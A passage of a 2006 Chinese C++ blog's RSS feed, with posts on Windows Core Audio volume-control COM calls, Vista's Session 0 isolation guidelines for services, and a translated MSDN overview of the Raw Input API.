				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">：</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21pt">
				<span lang="EN-US">CoInitializeEx(NULL, COINIT_MULTITHREADED)</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-list: l4 level1 lfo5; tab-stops: list 21.0pt">
				<span lang="EN-US" style="FONT-FAMILY: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-family: Wingdings">
						<span style="mso-list: Ignore">l<span style="FONT: 7pt 'Times New Roman'">         </span></span>
				</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">获取</span>
				<span lang="EN-US">IMMDeviceEnumerator</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设备指针：</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt">
				<span lang="EN-US">
						<span style="mso-spacerun: yes">   </span>CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL,</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt">
				<span lang="EN-US">
						<span style="mso-spacerun: yes">                     </span>CLSCTX_ALL, __uuidof(IMMDeviceEnumerator),</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt">
				<span lang="EN-US">
						<span style="mso-spacerun: yes">                     </span>(void**)&amp;m_pEnumerator)</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-list: l4 level1 lfo5; tab-stops: list 21.0pt">
				<span lang="EN-US" style="FONT-FAMILY: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-family: Wingdings">
						<span style="mso-list: Ignore">l<span style="FONT: 7pt 'Times New Roman'">         </span></span>
				</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">获取</span>
				<span lang="EN-US">IMMDevice</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指针，这是是所有</span>
				<span lang="EN-US">MM</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">设备</span>
				<span lang="EN-US">—</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">多媒体设备的根</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; mso-list: l4 level2 lfo5; tab-stops: list 42.0pt">
				<span lang="EN-US" style="FONT-FAMILY: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-family: Wingdings">
						<span style="mso-list: Ignore">n<span style="FONT: 7pt 'Times New Roman'">         </span></span>
				</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">其中第一个参数是指明设备的用途</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 42pt; TEXT-INDENT: -21pt; mso-list: l4 level2 lfo5; tab-stops: list 42.0pt">
				<span lang="EN-US" style="FONT-FAMILY: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-family: Wingdings">
						<span style="mso-list: Ignore">n<span style="FONT: 7pt 'Times New Roman'">         </span></span>
				</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">第二个参数指明设备角色</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt">
				<span lang="EN-US">m_pEnumerator-&gt;GetDefaultAudioEndpoint(eRender, eMultimedia, &amp;m_pDeviceOut)</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-list: l4 level1 lfo5; tab-stops: list 21.0pt">
				<span lang="EN-US" style="FONT-FAMILY: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-family: Wingdings">
						<span style="mso-list: Ignore">l<span style="FONT: 7pt 'Times New Roman'">         </span></span>
				</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">获取</span>
				<span lang="EN-US">IAudioEndpointVolume</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">指针：（我们需要控制系统音量所对应的对象）</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt">
				<span lang="EN-US">m_pDeviceOut-&gt;Activate(__uuidof(IAudioEndpointVolume),CLSCTX_ALL,NULL,(void**)&amp;m_AudioEndpointVolume)</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-list: l4 level1 lfo5; tab-stops: list 21.0pt">
				<span lang="EN-US" style="FONT-FAMILY: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-family: Wingdings">
						<span style="mso-list: Ignore">l<span style="FONT: 7pt 'Times New Roman'">         </span></span>
				</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">根据需要调用该对象的</span>
				<span lang="EN-US">API</span>
				<span style="FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，进行操作。</span>
		</p>
<img src ="http://www.cppblog.com/shenhuafeng/aggbug/16323.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/shenhuafeng/" target="_blank">CPP&&设计模式小屋</a> 2006-12-12 16:11 <a href="http://www.cppblog.com/shenhuafeng/archive/2006/12/12/16323.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Vista 相对与Window NT 5.x的不同</title><link>http://www.cppblog.com/shenhuafeng/archive/2006/11/03/14602.html</link><dc:creator>CPP&amp;&amp;设计模式小屋</dc:creator><author>CPP&amp;&amp;设计模式小屋</author><pubDate>Fri, 03 Nov 2006 03:39:00 GMT</pubDate><guid>http://www.cppblog.com/shenhuafeng/archive/2006/11/03/14602.html</guid><wfw:comment>http://www.cppblog.com/shenhuafeng/comments/14602.html</wfw:comment><comments>http://www.cppblog.com/shenhuafeng/archive/2006/11/03/14602.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/shenhuafeng/comments/commentRss/14602.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/shenhuafeng/services/trackbacks/14602.html</trackback:ping><description><![CDATA[
		<h2 style="MARGIN: 13pt 0cm">
				<span lang="EN-US">
						<font face="Arial">本文是Vista相关新技术的第一篇文章。</font>
				</span>
		</h2>
		<h2 style="MARGIN: 13pt 0cm">
				<span lang="EN-US">转载请注明出处。</span>  </h2>
		<p style="MARGIN: 13pt 0cm">
				<br />
				<br />最近由于工作原因，需要将系统移植到Vista上面。看了一些文档，发现Windows Vista对内核做了一些调整。</p>
		<ol>
				<li>对于Windows NT 5.x 系统来说：当第一个用户登录上去之后，系统启动了Session 0作为第一个用户的运行的Session。而一些系统程序和一些服务都运行于Session 0.这样。这样假如开发人员开发Service的时候选择与桌面交互，那么服务就能很好的和桌面程序进行交互。 
</li>
				<li>对于Vista系统来说，微软做了一些调整，为了加强服务的安全性，Vista将所有Service和一些系统进程放入了Sesion 0，而对于用户进程则从Session 1开始。这样就能很好的避免一些恶意服务对于用户使用的时候的一些干扰，提供更好的用户体验（这是我猜的 ^-^）. 
</li>
				<li>
						<div style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 1pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 1pt solid; mso-element: para-border-div; mso-border-bottom-alt: solid windowtext .5pt">
								<h1 style="MARGIN: 12pt 0cm 3pt">
										<a name="_Toc130374359">
												<span lang="EN-US">
														<font face="Arial" size="5">Guidelines </font>
												</span>
										</a>
								</h1>
						</div>
						<p class="BodyTextLink" style="MARGIN: 0cm 0cm 4pt">
								<span lang="EN-US">
										<font face="Arial" size="2">To work properly in Windows Vista, a service should follow these guidelines:</font>
								</span>
						</p>
						<p class="BulletList" style="MARGIN: 0cm 0cm 4pt 18pt">
								<span lang="EN-US" style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol">
										<span style="mso-list: Ignore">
												<font size="2">·</font>
												<span style="FONT: 7pt 'Times New Roman'">         </span>
										</span>
								</span>
								<span lang="EN-US">
										<font face="Arial" size="2">Use a client/server mechanism such as remote procedure call (RPC) or named pipes rather than window messages to communicate with applications.</font>
								</span>
						</p>
						<p class="BulletList" style="MARGIN: 0cm 0cm 4pt 18pt">
								<span lang="EN-US" style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol">
										<span style="mso-list: Ignore">
												<font size="2">·</font>
												<span style="FONT: 7pt 'Times New Roman'">         </span>
										</span>
								</span>
								<span lang="EN-US">
										<font face="Arial" size="2">Implement any necessary user interface for the service as follows:</font>
								</span>
						</p>
						<p class="BulletList2" style="MARGIN: 0cm 0cm 4pt 36pt">
								<span lang="EN-US" style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol">
										<span style="mso-list: Ignore">
												<font size="2">·</font>
												<span style="FONT: 7pt 'Times New Roman'">         </span>
										</span>
								</span>
								<span lang="EN-US">
										<font face="Arial" size="2">Use the <span class="Bold"><strong>WTSSendMessage</strong></span> function to create a simple message box on the user’s desktop. This allows the service to give the user a notification and request a simple response.</font>
								</span>
						</p>
						<p class="BulletList2" style="MARGIN: 0cm 0cm 4pt 36pt">
								<span lang="EN-US" style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol">
										<span style="mso-list: Ignore">
												<font size="2">·</font>
												<span style="FONT: 7pt 'Times New Roman'">         </span>
										</span>
								</span>
								<span lang="EN-US">
										<font face="Arial" size="2">For more complex UI, use the <span class="Bold"><strong>CreateProcessAsUser</strong></span> function to create a process in the user’s session. The process can then display a user interface in the user’s session. The service should use a client/server mechanism such as RPC or named pipes to obtain any response from the user.</font>
								</span>
						</p>
						<p class="BulletList" style="MARGIN: 0cm 0cm 4pt 18pt">
								<span lang="EN-US" style="FONT-SIZE: 12pt; FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol">
										<span style="mso-list: Ignore">·<span style="FONT: 7pt 'Times New Roman'">        </span></span>
								</span>
								<font size="2">
										<font face="Arial">
												<span lang="EN-US">Query display properties in the user’s session, not in Session 0, because the resolution and color depth that are reported in Session 0 are unlikely to reflect the actual display properties.</span>
												<span lang="EN-US" style="FONT-SIZE: 12pt; FONT-FAMILY: 'Times New Roman'">
														<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /?>
														<o:p>
														</o:p>
												</span>
										</font>
								</font>
						</p>
						<p class="BulletList" style="MARGIN: 0cm 0cm 4pt 18pt">
								<span lang="EN-US" style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol">
										<span style="mso-list: Ignore">
												<font size="2">·</font>
												<span style="FONT: 7pt 'Times New Roman'">         </span>
										</span>
								</span>
								<span lang="EN-US">
										<font face="Arial" size="2">Explicitly choose either the Local\ or Global\ namespace for any named objects, such as events or mapped memory, that the service makes available. If an object must be accessible to user applications, it must be created in the Global\ namespace to be accessible to other sessions. The following Microsoft Win32® functions all accept named objects: <span class="Bold"><strong>OpenEvent</strong></span>, <span class="Bold"><strong>OpenMutex</strong></span>, <span class="Bold"><strong>OpenSemaphore</strong></span>, <span class="Bold"><strong>OpenWaitableTimer</strong></span>, <span class="Bold"><strong>OpenJobObject,</strong></span> and <span class="Bold"><strong>OpenFileMapping</strong></span>. Care should be taken when using these functions to ensure that the named object is accessible within the current session.</font>
								</span>
						</p>
						<p class="BulletList" style="MARGIN: 0cm 0cm 4pt 18pt">
								<span lang="EN-US" style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol">
										<span style="mso-list: Ignore">
												<font size="2">·</font>
												<span style="FONT: 7pt 'Times New Roman'">         </span>
										</span>
								</span>
								<span lang="EN-US">
										<font face="Arial" size="2">Test the driver in Windows Vista to ensure that it runs properly. If that is not possible, test the driver in Windows XP with FUS enabled and multiple users logged on. If the driver works correctly for second and subsequent logged-on users, it is not likely to be affected by the Session 0 changes in Windows Vista. The only issues that this test does not detect are those related to the absence of the video driver in Session 0 in Windows Vista.</font>
								</span>
						</p>
				</li>
		</ol>
		<p class="BulletList" style="MARGIN: 0cm 0cm 4pt 18pt">
				<span lang="EN-US">
						<font face="Arial" size="2">如果你需要下载文档请到文件下载。</font>
				</span>
		</p>
<img src ="http://www.cppblog.com/shenhuafeng/aggbug/14602.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/shenhuafeng/" target="_blank">CPP&&设计模式小屋</a> 2006-11-03 11:39 <a href="http://www.cppblog.com/shenhuafeng/archive/2006/11/03/14602.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>准备开一个Windows Vista专栏</title><link>http://www.cppblog.com/shenhuafeng/archive/2006/11/01/14463.html</link><dc:creator>CPP&amp;&amp;设计模式小屋</dc:creator><author>CPP&amp;&amp;设计模式小屋</author><pubDate>Wed, 01 Nov 2006 03:26:00 GMT</pubDate><guid>http://www.cppblog.com/shenhuafeng/archive/2006/11/01/14463.html</guid><wfw:comment>http://www.cppblog.com/shenhuafeng/comments/14463.html</wfw:comment><comments>http://www.cppblog.com/shenhuafeng/archive/2006/11/01/14463.html#Feedback</comments><slash:comments>7</slash:comments><wfw:commentRss>http://www.cppblog.com/shenhuafeng/comments/commentRss/14463.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/shenhuafeng/services/trackbacks/14463.html</trackback:ping><description><![CDATA[最近由于工作原因，需要将以前的系统移植到Windows Vista上面。所以准备加一个专栏了，今天就开工，呵呵。<img src ="http://www.cppblog.com/shenhuafeng/aggbug/14463.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/shenhuafeng/" target="_blank">CPP&&设计模式小屋</a> 2006-11-01 11:26 <a href="http://www.cppblog.com/shenhuafeng/archive/2006/11/01/14463.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于原始输入--XP中的新技术(原创,转载请注明出处)</title><link>http://www.cppblog.com/shenhuafeng/archive/2006/09/15/12530.html</link><dc:creator>CPP&amp;&amp;设计模式小屋</dc:creator><author>CPP&amp;&amp;设计模式小屋</author><pubDate>Fri, 15 Sep 2006 14:12:00 GMT</pubDate><guid>http://www.cppblog.com/shenhuafeng/archive/2006/09/15/12530.html</guid><wfw:comment>http://www.cppblog.com/shenhuafeng/comments/12530.html</wfw:comment><comments>http://www.cppblog.com/shenhuafeng/archive/2006/09/15/12530.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.cppblog.com/shenhuafeng/comments/commentRss/12530.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/shenhuafeng/services/trackbacks/12530.html</trackback:ping><description><![CDATA[
		<p>
				<strong>文章出处：</strong>
		</p>
		<p>
				<a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/userinput/rawinput/aboutrawinput.asp">http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/userinput/rawinput/aboutrawinput.asp</a>
		</p>
		<p>
				<strong>关于原始输入</strong>
		</p>
		<p>除了传统的键盘和鼠标以外还有很多其他的输入设备。例如：用户输入可以来自游戏杆设备，触摸屏，麦克风以及其他可以提供用户输入的设备。这些设备被统称为HID（人体工程学）设备。Raw Input的API为应用程序提供了稳定健壮的读取原始数据数据的方式，包括键盘和鼠标。</p>
		<p>这篇文章主要包括3个部分：</p>
		<p>·                原始输入模型</p>
		<p>·                注册原始输入</p>
		<p>·                读取原始输入</p>
		<p>
				<strong>原始输入模型</strong>
		</p>
		<p>以前鼠标和键盘数据处理模式是这样的，鼠标和键盘产生输入数据，系统中断去处理这些与设备信息相关的数据，让这些数据变得与设备无关。例如：键盘产生与键盘设备相关的ScanCode但是系统提供给应用程序虚拟键码。除了隐藏原始输入的细节，Windows管理器还不支持所有新的HID设备。为了要从HID设备里面得到信息，一个应用程序必须处理以下步骤：打开设备,管理共享模式，周期性读取设备或者设置IO完成端口，或者更多操作。原始输入模型及其相关的API允许比较容易的从输入设备中获取原始输入，包括键盘和鼠标。</p>
		<p>那么原始输入模型和微软原来的鼠标键盘输入模型有什么差别呢？在原来的输入模型，一个应用程序通过发送到他窗口的消息获取与设备无关的消息，例如WM_CHAR,WM_MOUSEMOVE和WM_APPCOMMAND。与之原来模式不同的是:一个应用程序想获取原始数据的必须注册他想要获取原始输入的那些设备，应用程序会收到WM_INPUT消息。</p>
		<p>原始输入模型有很多优点：</p>
		<ol>
				<li> 应用程序不需要查找和打开输入设备。 
</li>
				<li> 应用程序直接从设备获取数据并根据他们的需要获取数据。 
</li>
				<li>应用程序能够甄别来自两个不同设备的输入，尽管他们有可能是同一个类型的设备。例如：两个鼠标设备。 
</li>
				<li>应用程序能够管理数据流，可以从一类设备或者某种制定类型设备获取输入数据。 
</li>
				<li>当HID设备在市场上可以买到时候，能够立即被使用，而不需要等待操作系统更新新的消息定义或者操作系统更新WM_APPCOMMAND消息。 </li>
		</ol>
		<p>需要注意的是：WM_APPCOMMAND确实是为一些HID设备提供的。然而WM_APPCOMMAND是一个高层的非设备相关的输入事件，而WM_INPUT消息发送原始的底层的设备相关的消息。</p>
		<p>
				<strong>注册原始输入</strong>
		</p>
		<p>默认情况下，没有应用程序会接受WM_INPUT消息。为了接受从一个设备发送原始输入，你必须注册这个设备。</p>
		<p>为了注册这个设备，一个应用程序首先必须创建一个指明他所希望接受设备类别的（top level collection――<br />TLC）RAWINPUTDEVICE结构。TLC被定义成为UsagePage（设备类）和Usage（设备类内的具体设备）。例如为了从键盘获取原始输入，设置UsagePage = 1 and Usage = 6，应用程序调用RegisterRawInputDevice去注册这个设备。</p>
		<p>注意：应用程序可以注册系统当前没有的设备。当设备可用之后，Windows管理器会自动将原始输入数据发送到应用程序。应用程序可以调用GetRawInputDeviceList来获取系统中原始输入设备的列表。用GetRawInputDeviceList获取的hDevice，应用程序调用GetRawInputDeviceInfo获取设备信息。</p>
		<p>通过RAWINPUTDEVICE中的dwFlag，应用程序可以选择是否监听还是忽略来自某个指定设备的信息。例如：一个应用程序能够监听所有的电话设备除了答录机。</p>
		<p>注意：鼠标和键盘也是HID设备，所以能够从Hid设备的WM_INPUT消息或者从传统的消息中获取信息。应用程序能够通过指定RAWINPUTDEVICE中的标志位选择任意一个。</p>
		<p>可以调用GetRegisteredRawInputDevice来得到应用程序的该设备的注册状态。</p>
		<p>
				<strong>读取原始输入</strong>
		</p>
		<p>应用程序会收到符合所注册的TLC的HID设备的原始输入消息。当一个应用程序收到了原始输入，应用程序的消息队列就会得到一个WM_INPUT消息，系统状态被置成QS_RAWINPUT(QS_INPUT)同样包含这个标志。不管应用程序在前台和后台都能够收到消息。</p>
		<p>有两种方法去读取原始数据：标准（没有缓冲的）方法和缓冲方法。前者获取原始输入时，每次获取一个RAWINPUT数据，而且对于大多数HID设备都是可以用这种方式读取的。应用程序调用CallMessage得到WM_INPUT消息，然后应用程序通过WM_INPUT消息，调用GetRawInputData来获取RAWINPUT句柄。</p>
		<p>相对应的,缓存方式每次得到一系列的RAWINPUT结构。这是给那些能够构产生很大数据量的原始输入。用这种方法去获取数据，首先调用GetRawInputBuffer去获取一系列的RAWINPUT结构。注意NEXTTRAWINPUTBLOCK宏是用来获取下一个RAWINPUT结构的。</p>
		<p>为了获取原始输入HID设备的详细信息。应用程序可以用GetRawInputdeviceInfo来查询相对应的句柄。这个句柄可以是从WM_INPUT消息或者RAWINPUTHRADER.hDevice获取。<br /></p>
<img src ="http://www.cppblog.com/shenhuafeng/aggbug/12530.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/shenhuafeng/" target="_blank">CPP&&设计模式小屋</a> 2006-09-15 22:12 <a href="http://www.cppblog.com/shenhuafeng/archive/2006/09/15/12530.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>